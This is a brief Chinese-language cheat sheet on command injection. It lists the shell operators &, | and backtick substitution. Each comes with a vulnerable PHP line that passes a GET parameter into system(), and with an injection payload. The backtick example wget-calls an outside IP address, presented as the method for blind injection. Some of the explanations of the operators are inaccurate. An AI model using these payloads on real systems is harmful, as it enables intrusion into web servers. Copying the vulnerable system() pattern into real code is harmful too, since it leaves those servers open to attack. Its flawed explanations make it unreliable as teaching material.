在命令注入中可以使用的命令
1. 使用&符号，这个代表且，第一个命令执行错误时，第二个不执行
system('cat $_GET[a]');
利用脚本a=2.txt'&ifconfig
2. 使用|符号，代表或，第一个命令执行正确时，第二个命令不执行
system('cat $_GET[a]');
利用脚本a=12312313'|ifconfig 构造错误语句，使第一命令执行错误，第二个才正常执行
3. 使用“`”符号，命令替换，可以在命令中执行
system('cat $_GET[a].txt');
利用脚本a=1231'`wget http://xx.xxx.xx.xx:443`' 此时结果返回正常，常用于无回显的命令注入